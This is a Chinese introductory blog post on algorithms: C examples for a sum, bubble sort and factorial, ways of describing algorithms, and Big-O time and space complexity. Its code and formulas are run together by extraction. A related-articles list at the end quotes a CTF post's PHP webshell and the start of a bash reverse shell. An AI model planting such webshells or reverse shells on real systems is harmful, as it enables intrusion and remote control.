【算法设计与分析】(一)介绍算法与复杂度分析
【算法设计与分析】(一)介绍算法与复杂度分析
- 前言
- 一、什么是算法?
- 二、算法的抽象机制
- 三、描述算法
- 四、复杂度分析
- 4.1 时间复杂度
- 4.2 空间复杂度
前言
- 从搜索引擎的高效检索,到推荐系统的个性化推荐,再到人工智能领域的复杂决策过程,算法都扮演着至关重要的角色。
于每一个从事计算机相关工作或对编程有浓厚兴趣的人来说,深入理解算法设计与分析的原理和方法,不仅是提升编程技能的关键,更是解决实际问题、推动技术创新的必备能力。
- 这篇博客将作为一个起点,带领大家逐步探索算法设计与分析的奇妙世界。我们将从基础的概念入手,为后续深入的学习和实践打下坚实的基础。

一、什么是算法?
-
算法,简单来说,就是为解决特定问题而设计的一系列明确且有限的步骤。
-
例如,我们要计算两个数的和,设计一个算法可能包括输入两个数、执行加法运算、输出结果这几个步骤。
-
而程序则是算法在特定编程语言中的具体实现。以 C 语言为例,实现上述计算两数之和的程序如下:
#include <stdio.h>int main() {float a, b, result;printf("请输入第一个数: ");scanf("%f", &a);printf("请输入第二个数: ");scanf("%f", &b);result = a + b;printf("两数之和为: %.2f\n", result);return 0;
}
在这段 C 语言代码中,我们首先包含了标准输入输出头文件stdio.h,以便使用printf和scanf函数进行输入输出操作。然后在main函数中,定义了三个变量a、b和result,分别用于存储输入的两个数和计算得到的和。通过scanf函数获取用户输入的两个数,执行加法运算后,使用printf函数将结果以保留两位小数的形式输出。
- 可以看出,算法是程序的灵魂,程序是算法的载体。算法关注的是解决问题的逻辑和步骤,而程序则侧重于如何用具体的代码将算法实现出来。

二、算法的抽象机制
- 算法的抽象机制是一种强大的工具,它允许我们将复杂的问题简化,提取出核心的逻辑和操作。
通过抽象,我们可以忽略问题中不必要的细节,专注于关键的步骤和关系。
- 比如,在排序算法中,无论是冒泡排序、插入排序还是快速排序,它们都可以被抽象为对一组数据进行重新排列的过程。
我们可以将数据的比较和交换操作抽象出来,形成一个通用的排序框架。这种抽象不仅有助于我们理解不同排序算法的本质,还能方便我们在不同的场景中选择合适的算法。
以冒泡排序为例,以下是 C 语言冒泡排序算法:
#include <stdio.h>// 交换两个整数的值
void swap(int *a, int *b) {int temp = *a;*a = *b;*b = temp;
}// 冒泡排序函数
void bubbleSort(int arr[], int n) {int i, j;for (i = 0; i < n - 1; i++) {for (j = 0; j < n - i - 1; j++) {if (arr[j] > arr[j + 1]) {swap(&arr[j], &arr[j + 1]);}}}
}int main() {int arr[] = { 64, 34, 25, 12, 22, 11, 90 };int n = sizeof(arr) / sizeof(arr[0]);bubbleSort(arr, n);printf("排序后的数组: ");for (int i = 0; i < n; i++) {printf("%d ", arr[i]);}printf("\n");return 0;
}
在上述代码中,swap函数用于交换两个整数的值,bubbleSort函数实现了冒泡排序的逻辑。通过多次比较相邻元素并交换顺序,最终将数组中的元素按照从小到大的顺序排列。
- 抽象机制还可以帮助我们复用算法。
- 当我们设计出一个有效的算法解决某个问题后,通过抽象,我们可以将其应用到类似的问题中,提高开发效率。

三、描述算法
- 为了清晰地表达算法,我们需要选择合适的描述方式。常见的描述算法的方式有自然语言、流程图、伪代码等。
- 自然语言是最容易理解的描述方式,它使用我们日常的语言来描述算法的步骤。
-
例如,描述一个计算阶乘的算法:“首先输入一个整数 n,然后从 1 开始,依次乘以 2、3 直到 n,最后输出得到的结果。” 但自然语言描述可能存在歧义,不够精确。
- 流程图则通过图形化的方式展示算法的流程。它使用各种图形符号(如矩形表示操作、菱形表示判断等)和箭头来表示算法的执行顺序。流程图直观易懂,有助于我们理清算法的逻辑结构。

- 伪代码是一种介于自然语言和编程语言之间的描述方式。它使用类似编程语言的语法结构,但更侧重于表达算法的逻辑,而不涉及具体的编程语言细节。例如,计算阶乘的伪代码可以写成:
input n
factorial = 1
for i from 1 to nfactorial = factorial * i
end for
output factorial
以下是用 C 语言实现计算阶乘的代码:
#include <stdio.h>int main() {int n, i;long long factorial = 1; // 使用long long类型以处理较大的阶乘结果printf("请输入一个整数: ");scanf("%d", &n);for (i = 1; i <= n; i++) {factorial *= i;}printf("%d 的阶乘为: %lld\n", n, factorial);return 0;
}
在这段 C 语言代码中,我们通过for循环从 1 到输入的整数n进行累乘,最终得到n的阶乘结果,并将其输出。
不同的描述方式各有优缺点,在实际应用中,我们可以根据具体情况选择合适的方式来描述算法。
四、复杂度分析
- 复杂度分析是算法设计与分析中非常重要的一个环节。它主要用于评估算法的效率,包括时间复杂度和空间复杂度。在深入探讨复杂度之前,我们先引入一个重要的概念:f(n)正函数。

4.1 时间复杂度
时间复杂度衡量的是算法执行所需的时间随着输入规模的增长而变化的趋势。我们通常使用大O符号( O O O)来表示时间复杂度。
- 大O符号的定义:设 f ( n ) f(n) f(n)和 g ( n ) g(n) g(n)是定义在正整数集上的正函数,如果存在正常数 c c c和 n 0 n_0 n0,使得当 n ≥ n 0 n \geq n_0 n≥n0时,有 f ( n ) ≤ c ⋅ g ( n ) f(n) \leq c \cdot g(n) f(n)≤c⋅g(n),则称 f ( n ) f(n) f(n)在渐近意义下小于等于 g ( n ) g(n) g(n),记作 f ( n ) = O ( g ( n ) ) f(n) = O(g(n)) f(n)=O(g(n))。
例如,对于一个算法,如果它的执行时间 T ( n ) T(n) T(n)可以表示为 T ( n ) = 3 n 2 + 2 n + 1 T(n) = 3n^2 + 2n + 1 T(n)=3n2+2n+1,我们可以找到 c = 4 c = 4 c=4, n 0 = 1 n_0 = 1 n0=1,当 n ≥ 1 n \geq 1 n≥1时, 3 n 2 + 2 n + 1 ≤ 4 n 2 3n^2 + 2n + 1 \leq 4n^2 3n2+2n+1≤4n2,所以 T ( n ) = O ( n 2 ) T(n) = O(n^2) T(n)=O(n2)。这意味着随着输入规模 n n n的增大, n 2 n^2 n2这一项起主导作用,其他低阶项(如 2 n 2n 2n和 1 1 1)对整体时间的影响越来越小,可以忽略不计。
常见的时间复杂度有:
- O ( 1 ) O(1) O(1)(常数时间):算法的执行时间不随输入规模 n n n的变化而变化,例如访问数组中的一个固定位置的元素。
- O ( log n ) O(\log n) O(logn)(对数时间):常见于二分查找等算法,随着输入规模 n n n的增大,执行时间增长缓慢。
- O ( n ) O(n) O(n)(线性时间):如顺序查找算法,执行时间与输入规模 n n n成正比。
- O ( n log n ) O(n \log n) O(nlogn):许多高效的排序算法(如归并排序、快速排序的平均情况)具有这种时间复杂度。
- O ( n 2 ) O(n^2) O(n2)(平方时间):像冒泡排序、插入排序等简单排序算法的时间复杂度为 O ( n 2 ) O(n^2) O(n2),当输入规模较大时,算法的执行时间会显著增加。
4.2 空间复杂度
空间复杂度则关注算法在执行过程中所需的额外空间。同样使用大O符号来表示,即分析随着输入规模 n n n的增加,算法所需额外空间的变化趋势。
例如,一个算法在执行过程中,除了输入数据本身占用的空间外,只使用了固定数量的额外变量,无论输入规模 n n n如何变化,额外空间都不改变,那么该算法的空间复杂度就是 O ( 1 ) O(1) O(1)。
如果一个算法需要创建一个大小与输入规模 n n n成正比的数组来存储中间结果,那么它的空间复杂度就是 O ( n ) O(n) O(n)。
以之前的冒泡排序算法为例,其时间复杂度为 O ( n 2 ) O(n^2) O(n2),因为它有两层嵌套的循环,对于长度为 n n n的数组,总的比较和交换操作次数大约为 n ∗ ( n − 1 ) / 2 n * (n - 1) / 2 n∗(n−1)/2,随着 n n n的增大,时间增长的趋势与 n n n的平方成正比。而其空间复杂度为 O ( 1 ) O(1) O(1),因为在排序过程中,除了输入的数组本身外,只使用了有限的额外变量(如循环变量 i i i、 j j j和用于交换的临时变量),额外空间的使用不随输入规模 n n n的变化而变化。
通过复杂度分析,我们可以在设计算法时选择更高效的方案,避免在实际应用中出现性能瓶颈。
| 非常感谢您的阅读,喜欢的话记得三连哦 |

相关文章:
【算法设计与分析】(一)介绍算法与复杂度分析
【算法设计与分析】(一)介绍算法与复杂度分析 前言一、什么是算法?二、算法的抽象机制三、描述算法四、复杂度分析4.1 时间复杂度4.2 空间复杂度 前言 从搜索引擎的高效检索,到推荐系统的个性化推荐,再到人工智能领域…...
HTML5特殊字符
HTML中常用的特殊符号一般都以“&”开头,以“;”结束。...
使用python接入腾讯云DeepSeek
本文主要从提供SSE方式接入DeepSeek,并通过fastapi websocket对外提供接入方法。 参考文档: 腾讯云大模型:https://cloud.tencent.com/document/product/1759/109380 fastAPI官网:https://fastapi.tiangolo.com/ WebSocketManager…...
6.3 - UART串口数据发送之中断
文章目录 1 实验任务2 系统框图3 软件设计 1 实验任务 本实验使用中断方式实现UART串口数据的连续发送。 2 系统框图 参见6.1。 3 软件设计 注意事项: 系统上电、程序下载后,此时TX FIFO虽然为空,但并不会触发空中断;空中断…...
无法打开数据库 CAUsers\Public\EPLAN(Data\翻译\Company name\Translate.mdb。
eplan生成更新列表后报错,报错内容如下: 无法打开数据库 CAUsers\Public\EPLAN(Data\翻译\Company name\Translate.mdb。针对 64 位版本的EPLAN平台需要使用64 位版本的Microsoft Office。 原因:eplan的列表更新需要64位的微软办公软件版本支…...
将CUBE或3DL LUT转换为PNG图像
概述 在大部分情况下,LUT 文件通常为 CUBE 或 3DL 格式。但是我们在 OpenGL Shader 中使用的LUT,通常是图像格式的 LUT 文件。下面,我将教大家如何将这些文件转换为 PNG 图像格式。 条形LUT在线转换(不是8x8网络)&am…...
C语言(13)------------>do-while循环
1.do-while循环的语法 我们知道C语言有三大结构,顺序、选择、循环。我们可以使用while循环、for循环、do-while循环实现循环结构。之前的博客中提及到了前两者的技术实现。可以参考: C语言(11)------------->while循…...
FS800DTU联动OneNET平台数据可视化View
目录 1 前言 2 环境搭建 2.1 硬件准备 2.2 软件环境 2.3 硬件连接 3 注册OneNET云平台并建立物模型 3.1 参数获取 3.2 连接OneNET 3.3上报数据 4 数据可视化View 4.1 用户信息获取 4.2 启用数据可视化View 4.3 创建项目 4.4 编辑项目 4.5 新增数据源 4.6 数据过滤器配置 4.6 项…...
Linux 第三次脚本作业
源码编译安装httpd 2.4,提供系统服务管理脚本并测试(建议两种方法实现) 一、第一种方法 1、把 httpd-2.4.63.tar.gz 这个安装包上传到你的试验机上 2、 安装编译工具 (俺之前已经装好了) 3、解压httpd包 4、解压后的httpd包的文…...
[数据结构笔记]数据结构必要的C语言基础
数据结构必要的C语言基础 使用C语言学习数据结构之前有一些必要了解的基础,许多同学在初学数据结构时因为对这些知识不熟,导致了对数据结构的畏惧心理。实际上很大一部分来自C语言的基础 C语言 结构体与指针 在一些场景中,如果传递给函…...
CTF常用shell语句整理(webshell、反弹shell)
Web Shell <?php system($_GET[cmd]);?> <?php echo system($_GET[cmd]);?> <%3fphpsystem($_[cmd]);%3f> <%3fphpechosystem($_[cmd]);%3f>命令执行:访问 /?cmdwhoami. Reverse Shell <?php system(bash -i >& /dev/t…...
数据结构笔记——06树和二叉树
文章目录 一、树的基本概念1.树的定义2.树的逻辑表示方法3.树的基本术语4.树的性质5.树的基本运算6.树的存储结构1)双亲存储结构2)孩子链存储结构3)孩子兄弟链存储结构 二、二叉树的概念和性质1.二叉树的定义2.二叉树的性质3.二叉树与树、森林之间的转换1)森林、树转换为二叉树…...
蓝禾,oppo,游卡,汤臣倍健,康冠科技,作业帮,高途教育25届春招内推
蓝禾,oppo,游卡,汤臣倍健,康冠科技,作业帮,高途教育25届春招内推 ①康冠科技 【职位】算法、软件、硬件、技术,结构设计,供应链,产品,职能,商务 【…...
蓝桥杯之日期题
文章目录 1.蓝桥杯必备知识点2. 题型13.需求2 1.蓝桥杯必备知识点 蓝桥杯是一个面向全国高校计算机相关专业学生的学科竞赛,涵盖多个赛道,常见的有软件类(如 C/C 程序设计、Java 软件开发、Python 程序设计)和电子类(…...
大模型在尿潴留风险预测及围手术期方案制定中的应用研究
目录 一、引言 1.1 研究背景与意义 1.2 研究目的 1.3 研究方法与数据来源 二、大模型预测尿潴留的原理与方法 2.1 相关大模型介绍 2.2 模型构建与训练 2.3 模型评估指标与验证 三、术前尿潴留风险预测及方案制定 3.1 术前风险因素分析 3.2 大模型预测结果分析 3.3 …...
PV Elite 27是专业的压力容器和热交换器设计解决方案
Intergraph PV Elite 27是专业的压力容器和热交换器设计解决方案。提供完整的容器和热交换器的设计,分析和评估解决方案。提供的完整的容器设计和分析、交换器设计和分析、管板设计和分析、矩形和非圆形容器分析、单个组件分析、综合误差检查、鞍座/支腿/吊耳/耳轴和…...
Visual Studio 中的 /MD 与 /MT、动态库与静态库的深入解析
文章目录 1. /MD 与 /MT 的区别1.3 调试版本1.4 注意事项 2. 动态库与静态库的联系与区别2.3 联系与区别 3. 结合你的错误分析3.1 错误原因3.2 解决方案3.3 经验教训 4. 总结 在 Visual Studio 中进行 C/C 项目开发时,开发者经常需要对运行时库选项(例如…...
QT入门--QMainWindow
从上向下依次是菜单栏,工具栏,铆接部件(浮动窗口),状态栏,中心部件 菜单栏 创建菜单栏 QMenuBar* mybar1 menuBar(); 将菜单栏放到窗口中 setMenuBar(mybar1); 创建菜单 QMenu *myfilemenu mybar1-…...
深圳南柯电子|医疗设备EMC测试整改检测:零到一,保障医疗安全
在当今医疗科技飞速发展的时代,医疗设备的电磁兼容性(EMC)已成为确保其安全、有效运行的关键要素之一。EMC测试整改检测不仅关乎设备的性能稳定性,更是保障患者安全、避免电磁干扰引发医疗事故的重要措施。 一、医疗设备EMC测试整…...
【链 表】
【链表】 一级目录1. 基本概念2. 算法分析2.1 时间复杂度2.2 空间复杂度2.3 时空复杂度互换 线性表的概念线性表的举例顺序表的基本概念顺序表的基本操作1. 初始化2. 插入操作3. 删除操作4. 查找操作5. 遍历操作 顺序表的优缺点总结优点缺点 树形结构图形结构单链表基本概念链表…...
排序算法归类整理对比
以下是常见排序算法的详细分类和解析,涵盖原理、时间复杂度及适用场景: 一、比较排序算法 1. 快速排序(Quick Sort) 原理:分治策略,选取基准元素(pivot),将数组分为小于…...
前端项目部署阻止用户打开控制台
需求:在前端开发过程中,会遇到生产坏境不让用户打开控制台,防止不法分子虚假信息操作。 废话不多说一共两步,添加我们的js方法,和在全局使用这个方法。 第一步:添加我的js文件: //禁用开发者…...
一周学会Flask3 Python Web开发-Jinja2模板过滤器使用
锋哥原创的Flask3 Python Web开发 Flask3视频教程: 2025版 Flask3 Python web开发 视频教程(无废话版) 玩命更新中~_哔哩哔哩_bilibili 在Jinja2中,过滤器(filter)是一些可以用来修改和过滤变量值的特殊函数,过滤器和变量用一个竖线 | &a…...
【STM32H743IIT6】STM32H7的ADC时钟频率设置问题 —— 网上大多文章未注意到的要点!
前言 我使用的是定时器触发ADC采样。最近在想达到ADC的最高采样率的时候,发现一直却卡在1Msps上不去,直到在硬汉嵌入式的论坛里才发现了答案:[ADC] STM32H743/H750的Y版和V版芯片ADC的主频区别 这篇文章就详细的讲一下这个问题,这…...
JavaScript基础(函数及面向对象)
函数 定义函数 Java定义方法: public 返回值类型 方法名(){ return 返回值 } 定义函数方法一 eg:定义一个绝对值函数 function abs(x) {if (x>0){return x;}else {return -x;}} 调用函数: 注意:一旦执行到return代表函数…...
2025面试Go真题第一场
前几天参加了一场面试,GoLang 后端工程师,他们直接给了我 10 道题,我留了一个截图。 在看答案之前,你可以先简单做一下,下面我会对每个题目做一个说明。 文章目录 1、golang map 是否并发安全?2、协程泄漏的原因可能是…...
dockerfile基于alpine构建haproxy
1. 结构目录 [rootlocalhost ~]# tree haproxy/ haproxy/ ├── dockerfile └── files├── env.txt├── haproxy-2.5.0.tar.gz├── haproxycfg.sh├── install.sh└── sysctl.conf1 directory, 6 files [rootlocalhost ~]# 2. 编写dockerfile [rootlocalhost ~…...
【有奖实践】轻量消息队列(原 MNS)订阅 OSS 事件实时处理文件变动
当你需要对对象存储 OSS(Object Storage Service)中的文件变动进行实时处理、同步、监听、业务触发、日志记录等操作时, 你可以通过设置 OSS 的事件通知规则,自定义关注的文件,并将 OSS 事件推送到轻量消息队列&#x…...
关于Postman自动获取token
在使用postman测试联调接口时,可能每个接口都需要使用此接口生成的令牌做Authorization的Bearer Token验证,最直接的办法可能会是一步一步的点击,如下图: 在Authorization中去选择Bearer Token,然后将获取到的token粘贴…...
Baklib知识中台构建企业智慧中枢
智能技术架构构建路径 Baklib知识中台的技术架构设计以模块化和可扩展性为核心,通过分层解耦的架构体系实现知识管理的全流程覆盖。底层依托智能语义分析引擎与多模态知识图谱,完成非结构化数据的自动清洗与语义关联;中间层构建统一的知识资…...
